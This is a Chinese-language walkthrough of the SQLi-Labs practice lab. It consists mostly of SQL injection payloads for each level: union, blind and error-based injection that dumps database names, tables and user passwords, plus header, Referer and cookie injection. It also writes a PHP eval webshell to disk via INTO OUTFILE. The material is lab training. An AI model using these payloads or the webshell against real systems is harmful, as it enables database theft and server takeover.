【SQLi_Labs】Basic Challenges

什么是人生?人生就是永不休止的奋斗!

Less-1

尝试添加’注入,发现报错

在这里插入图片描述

这里我们就可以直接发现报错的地方,直接将后面注释,然后使用

1’ order by 3%23

//得到列数为3

在这里插入图片描述

//这里用-1是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果

-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata%23

//得到数据库名

在这里插入图片描述

//得到表名

-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= ‘security’%23

如下

在这里插入图片描述

//得到列名

-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name= ‘users’%23

如下

在这里插入图片描述

//爆破得到数据

-1’ union select 1,username,password from users where id=3%23

如下

在这里插入图片描述

Less-2

在添加’之后,得到返回

在这里插入图片描述

可以得到这个sql语句其实并没有单引号,只是用数字进行查询,例如

select * from users where id=1

所以我们也可以跟上面一样,payloads:

-1 or 1=1%23

如下

在这里插入图片描述

Less-3

添加’之后,返回

在这里插入图片描述

可以得到大概的sql语句:

select * from users where id=(‘input’) LIMIT 0,1;

所以我们可以需要闭合)。

-1’) or 1=1%23

如下

在这里插入图片描述

Less-4

尝试’并未发现报错,尝试"发现报错

在这里插入图片描述

可以得到大概的sql语句

select * from users where id = (“input”) LIMIT 0,1;

所以payload:

-1") or 1=1 %23

如下

在这里插入图片描述

Less-5

尝试’发现报错

在这里插入图片描述

猜测sql语句为

select * from users where id=‘input’ LIMIT 0,1;

如果尝试之前的注入方法,会发现不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in…,出错的话就不会返回这个字符串,所以这里我们可以进行盲注。

使用left()

例如我们可以使用1’ and left(version(),1)=3%23这个payload进行测试,截取version()得到的最左侧的字符判断是否为3,如果为3则正常返回You are in…,否则不返回。

在这里插入图片描述

所以我们可以利用这个一步一步爆破得到1’ and left(version(),1)=5%23。爆破区间可以确定在/[0-9.]/。

采用1’and length(database())=8%23对数据库名字长度进行爆破,确定数据库名字长度之后,我们可以使用database()来进行爆破数据库名,采用1’ and left(database(),1)>‘a’%23这个payload进行测试,原理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。

在这里插入图片描述

使用substr()、ascii()

也可以采用substr()、ascii()函数进行尝试:

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 //截取数据库下第一个表的

在这里插入图片描述

第一个字符与80ascii值进行对比 找第二个字符只需要改成substr(‘xxx’,2,1)即可。 找第二个表改成limit 1,1

使用regexp()

1’ and 1=(select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^us[a-z]’ limit 0,1)%23 //users表中的列名是否有us**的列

在这里插入图片描述

使用ord()、mid()

1’ and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23 //cast(username AS CHAR)将username转换成字符串

在这里插入图片描述

//IFNULL(exp1,exp2)假如expr1不为NULL,则IFNULL()的返回值为expr1; 否则其返回值为expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。 //ord将某个字符转换成ascii码,同ascii()

使用报错注入

Mysql报错注入原理分析(count()、rand()、group by)

超链接:https://www.cnblogs.com/xdans/p/5412468.html

1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

在这里插入图片描述

1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x%23

在这里插入图片描述

1’ union select (exp(~(select * FROM(SELECT USER())a))),2, 3–+ //exp报错

在这里插入图片描述

1’ union select (!(select * from (select user())x)- ~0),2,3–+ //bigint 溢出报错注入(这个单引号是微软拼音的中文单引号)

在这里插入图片描述

1’ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ //xpath报错注入

在这里插入图片描述

1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+ //xpath报错注入

在这里插入图片描述

1’ union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

在这里插入图片描述

使用延时注入

benchmark 是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark() 中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

在这里插入图片描述

Less-6

没有回显,可以使用布尔盲注

1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100–+

在这里插入图片描述

可以发现>100有回显,小于就没有,也可以用报错注入…

这里就是把Less-5 中的’改成"就行了

Less-7

使用文件导出,通过第Less-5的报错注入出绝对路径

1’ and updatexml(1,concat(0x7e,(select @@datadir),0x7e),1) --+

在这里插入图片描述

1’))UNION SELECT 1,2,3 into outfile “c:\wamp\www\sqlli b\Less-7\uuu.txt”%23

在这里插入图片描述

上图中显示 sql 出错了,但是没有关系,我们可以在文件中看到 uuu.txt 已经生成了

在这里插入图片描述

1’))UNION SELECT 1,2,‘<?php @eval($_post["mima"])?>’ into outfile “c:\wamp\www\sqllib\Less-7\yijuhua.php”–+

在这里插入图片描述

可以在文件中看到一句话木马已经导入进去了

在这里插入图片描述

Less-8

可以使用时间盲注,也可以用 bool 盲注

1’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在这里插入图片描述

Less-9

同 Less-8 可以使用时间盲注

1’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在这里插入图片描述

Less-10

1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在这里插入图片描述

Less-11

报错注入,少一列就行了

1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

在这里插入图片描述

1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

在这里插入图片描述

Less-12

1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

在这里插入图片描述

1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

在这里插入图片描述

Less-13

1’) or 1=1#

在这里插入图片描述

成功登录,报错注入成功但是不回显,可以考虑盲注

1’) or ascii(substr((database()),1,1))>100#

在这里插入图片描述

Less-14

1" or 1=1#

在这里插入图片描述

成功登录,依然不能回显,尝试使用布尔盲注

1" or left(database(),1)=‘s’#

在这里插入图片描述

发现可以用updatexml进行报错注入

1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

在这里插入图片描述

Less-15

1’ or 1=1#

在这里插入图片描述

成功登录,布尔注入或者时间盲注均可行

1’ or left(database(),1)=‘s’#

在这里插入图片描述

admin’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

在这里插入图片描述

Less-16

1") or 1=1#

在这里插入图片描述

成功登录,布尔注入或者时间盲注均可行

1") or left(database(),1)=‘s’#

在这里插入图片描述

admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

在这里插入图片描述

Less-17

update注入,username过滤了很多,有password错误回显,考虑用报错注入

username=admin

password=1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

在这里插入图片描述

Less-18

登录成功后,页面提示

在这里插入图片描述

那么有可能是 ip 或者 UA 注入,看了一下发现是个 Header 头注入,这里需要注意这是登录成功的条件下才能触发的,而且既然是insert注入,需要用’1’='1闭合后面的 sql 语句,否则就是语法错误了

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在这里插入图片描述

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1),“1”,“1”)#

在这里插入图片描述

Less-19

登录成功后提示

在这里插入图片描述

于是我们可以知道是在Referer应该有注入点,在 Referer 处同样用

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在这里插入图片描述

可以注入

Less-20

cookie 注入,登录成功后修改 cookie 即可,注意删除post的参数

uname=’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在这里插入图片描述

Less-21

登录成功后发现 cookie 加上了 base64

YOUR COOKIE : uname = YWRtaW4=

用上面的 payload 进行 base64 编码就行了,记得=要 urlencode

JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d

在这里插入图片描述

Less-22

同 21 ,单引号换成双引号即可

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d

本文poc、工具、源码加圈获取

1、本圈主要分享:攻防及SRC实战经验分享、代码审计漏洞详情及代码、最新漏洞详情及原创漏洞利用工具、免杀手法及工具代码、问题解答等。
2、圈主出身于深信服深蓝攻防实验室、新华三攻防实验室,连续5年多次获得国家级、省级、地市级、行业级护网攻击队前三名。
3、漏洞盒子总榜前五十名、补天总榜前五十名、去哪网SRC总榜前五十名。
4、获得50+CVE通用漏洞编号、100+CNVD通用漏洞证书。
5、CSDN、公众号、博客、先知社区、SecIN、FreeBuf粉丝量10000+。
6、前1-50名: 25¥,50-100名: 50¥,100-150名: 75¥,依次类推.....!

知识星球

img

纷传

img

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/945600.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于JAVA+SpringBoot+Vue的校园二手书交易平台

基于JAVASpringBootVue的校园二手书交易平台 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末附源码下载链接&#x1f345; …

快速掌握Elasticsearch检索之二:滚动查询(scrool)获取全量数据(golang)

Elasticsearch8.17.0在mac上的安装 Kibana8.17.0在mac上的安装 Elasticsearch检索方案之一&#xff1a;使用fromsize实现分页 1、滚动查询的使用场景 滚动查询区别于上一篇文章介绍的使用from、size分页检索&#xff0c;最大的特点是&#xff0c;它能够检索超过10000条外的…

【C++】深入理解 break 和 continue 语句

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;break 和 continue 介绍**break** 的作用**continue** 的作用注意事项 &#x1f4af;break 示例代码示例**执行结果****解析过程** &#x1f4af;continue 示例代码示例&am…

高效使用AI完成编程项目任务的指南:从需求分析到功能实现

随着人工智能工具的普及&#xff0c;即便是零编程基础或基础薄弱的用户&#xff0c;也可以借助AI完成许多技术任务。然而&#xff0c;要高效地使用AI完成编程任务&#xff0c;关键在于如何清晰表达需求&#xff0c;并逐步引导AI实现目标。 在本文中&#xff0c;我们将通过开发…

算法每日双题精讲 —— 滑动窗口(水果成篮,找到字符串中所有字母异位词)

&#x1f31f;快来参与讨论&#x1f4ac;&#xff0c;点赞&#x1f44d;、收藏⭐、分享&#x1f4e4;&#xff0c;共创活力社区。 &#x1f31f; 别再犹豫了&#xff01;快来订阅我们的算法每日双题精讲专栏&#xff0c;一起踏上算法学习的精彩之旅吧&#xff01;&#x1f4aa;…

基于Qt事件机制中的定时器事件的闹钟设计

目标 代码 pro文件 QT core gui texttospeechgreaterThan(QT_MAJOR_VERSION, 4): QT widgetsCONFIG c11# The following define makes your compiler emit warnings if you use # any Qt feature that has been marked deprecated (the exact warnings # depend on …

后台管理系统DEMO

该项目后端使用SpringBootMyBatisPlusJWT&#xff0c;前端使用Vue3Vite2TSPiniaAxiosElementPlus等简单技术栈&#xff0c;实现了一个简约精致版的后台管理系统&#xff0c;包含非常基础的rbac权限功能&#xff0c;可以增删改查角色、用户、权限&#xff0c;角色添加权限、添加…

数据结构之线性表之链表(附加一个考研题)

链表的定义 链表的结构&#xff1a; 单链表-初始化 代码实现&#xff1a; 单链表-头插法 代码实现&#xff1a; 这里我给大家分析一下 我们每创建一个新的节点都要插在头节点的后面&#xff0c;我们一定要注意顺序 一定要先让新节点指向头节点指向的下一个节点&#xff0c;…

Python爬取城市天气信息,并存储到csv文件中

1.爬取的网址为&#xff1a;天气网 (weather.com.cn) 2.需要建立Weather.txt文件&#xff0c;并在里面加入如下形式的字段&#xff1a; 101120701济宁 101010100北京 3.代码运行后&#xff0c;在命令行输入Weather.txt文件中添加过的城市&#xff0c;如&#xff1a;济宁。 …

工厂+策略模式之最佳实践(疾病报卡维护模块API设计)

目录 &#x1f4bb;业务场景 &#x1f527;应用技术 ⚙概要流程 ❗开发注意 服务类上标注了 自定义注解 却无法直接利用getDeclaredAnnotation 获取 *Spring代理机制 代理机制的工作原理 代理的工作机制 代理的使用场景 已获取EmrXXXServiceImpl 的Class&#xff0c;…

【智行安全】基于Synaptics SL1680的AI疲劳驾驶检测方案

随著车载技术的快速进步&#xff0c;驾驶安全越来越受到重视&#xff0c;而疲劳驾驶是造成交通事故的重要原因之一。传统的驾驶监控技术因精度不足或反应迟缓&#xff0c;无法满足实时监测需求。因此&#xff0c;结合人工智能技术的疲劳驾驶检测系统成为行业新方向&#xff0c;…

Go-知识 注释

Go-知识 注释 行注释块注释包注释结构体&接口注释函数&方法注释废弃注释文档 在 go 语言中注释有两种&#xff0c;行注释和块注释 行注释 使用双斜线 // 开始&#xff0c;一般后面紧跟一个空格。行注释是Go语言中最常见的注释形式&#xff0c;在标准包中&#xff0c;…

2025年阿里云认证改版新消息!2025年阿里云认证考试内容有变!

阿里云认证已经确定在2025年要进行大改&#xff0c;这次改动幅度会比2023年改动更大&#xff0c;2023年主要改变是在考试题型上的变化&#xff0c;这次则主要是考试内容的变化了&#xff01; 2023年阿里云ACP认证考试的改版变化主要有&#xff1a; &#xff08;一&#xff09…

ArrayList 和LinkedList的区别比较

前言 ‌ArrayList和LinkedList的主要区别在于它们的底层数据结构、性能特点以及适用场景。‌ArrayList和LinkedList从名字分析&#xff0c;他们一个是Array&#xff08;动态数组&#xff09;的数据结构&#xff0c;一个是Linked&#xff08;链表&#xff09;的数据结构&#x…

STM32-笔记22-sg90舵机

一、接线 二、实验实现 动手让 SG90 每秒转动一下&#xff0c;0 -> 20 -> 40 -> 100 -> 180 如此循环。 舵机接A6 复制18-呼吸灯&#xff0c;重命名24-sg90舵机 把PWM重命名sg90 打开项目文件 在魔术棒和品上把PWM都去掉&#xff0c;加载sg90文件夹 加载之后…

QT集成intel RealSense 双目摄像头

最近一个小项目&#xff0c;用到了双目相机&#xff0c;选用了Intel的RealSense双目相机。功能很简单&#xff0c;就是识别某一个物体&#xff0c;然后对对这个物体进行操作。具体功能随后再说&#xff0c;这里只介绍QT如何集成IntelRealSense相机&#xff0c;就是下面这个。 首…

前端小案例——520表白信封

前言&#xff1a;我们在学习完了HTML和CSS之后&#xff0c;就会想着使用这两个东西去做一些小案例&#xff0c;不过又没有什么好的案例让我们去练手&#xff0c;本篇文章就提供里一个案例——520表白信封 ✨✨✨这里是秋刀鱼不做梦的BLOG ✨✨✨想要了解更多内容可以访问我的主…

Golang的发展历程

Golang的发展历程可以分为以下几个阶段&#xff1a; 设计阶段&#xff1a;2007年&#xff0c;Google开始研究开发一种新的编程语言&#xff0c;主要出于对C和Java等编程语言的不足之处的反思。经过一年多的研究和讨论&#xff0c;Golang的设计方案得到确定&#xff0c;主要包括…

硬件设计-硬件 EMC 设计规范

目录 引言&#xff1a; 常见原因 总体概念及考虑 布局 屏蔽 滤波 引言&#xff1a; 本规范只简绍 EMC 的主要原则与结论&#xff0c;为硬件工程师们在开发设计中抛砖引玉。 电磁干扰的三要素是干扰源、干扰传输途径、干扰接收器。EMC 就围绕这些 问题进行研究。最基本的…

后端开发-Maven

环境说明&#xff1a; windows系统&#xff1a;11版本 idea版本&#xff1a;2023.3.2 Maven 介绍 Apache Maven 是一个 Java 项目的构建管理和理解工具。Maven 使用一个项目对象模型&#xff08;POM&#xff09;&#xff0c;通过一组构建规则和约定来管理项目的构建&#xf…